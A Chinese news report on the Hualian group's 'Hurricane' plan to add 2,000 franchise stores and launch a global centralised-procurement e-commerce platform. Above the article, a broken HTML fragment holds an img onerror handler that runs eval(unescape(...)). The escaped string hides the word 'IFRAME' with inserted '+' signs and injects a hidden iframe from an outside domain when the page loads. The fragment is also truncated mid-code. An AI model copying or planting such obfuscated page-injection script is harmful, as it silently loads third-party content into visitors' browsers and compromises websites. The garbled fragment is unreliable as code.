华联“飓风”扩张 意在采购话语权

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

9月15日,华联集团宣布,将启动"飓风"扩张计划。拟北上华北、南下华南、挺进西部、进军腹地。计划在未来五年内将全国连锁加盟网点再增加2000家,主要业态为百货店和超市。据悉,加盟及联盟主要分为几种模式,一是全项加盟,包括商标系统商业策划、开业准备、货品等;二是由全国华联部分帮助筹建开店;三是成为全国华联的主要供货商。全国华联集团将在商品配送、采购利润等方面与加盟以及联盟企业进行资源共享。

      据悉,全国华联集团115亿元海外融资项目也正在积极推动中,资金将分别投向各个业务单元和项目,主要用于全国华联集团内的九大业务板块运作,本次率先推出的是全球集中采购电子商务平台。

      9月15日,全国华联集团与商务部签署了全球集中采购电子商务平台协议,率先在国内建立全国华联集团的全球集中采购联盟,全面推动飓风计划。据悉,该平台能够实现报税、通关以及直接结算业务。全国华联集团北京总部负责人任力表示,推动电子商务平台集中采购是为了降低集中采购成本以及商品零售价格,主要收益来源于成本降低后,各华联成员按比例交纳的采购费用。据悉,目前采购成本大约占整个零售业成本的65%左右。在采购的五种模式(包括地方采购、集中采购、临时采购、超市采购、大宗采购)中,其中地方采购占20%,超市采购大约占10%—15%,集中采购约占到总销售额的30%—40%。有数字表明,全国华联2005年总体销售额为400亿元人民币,任力称,其中集中采购成本的可控空间非常大。通过该采购平台,可以将总的集中采购成本降低10%—15%。

      商务部中国国际电子商务中心总经理丁强认为,目前中国制造业的利润率远高于国外,主要原因是国内零售业的采购话语权较低。通过开放式的全球电子商务采购平台,实现全球供应商和零售商的资源共享,可以对供应商进行良好的筛选,同时提高全球零售商和供应商的议价能力,挤压零供之间回扣以及提成等灰色利润的成分。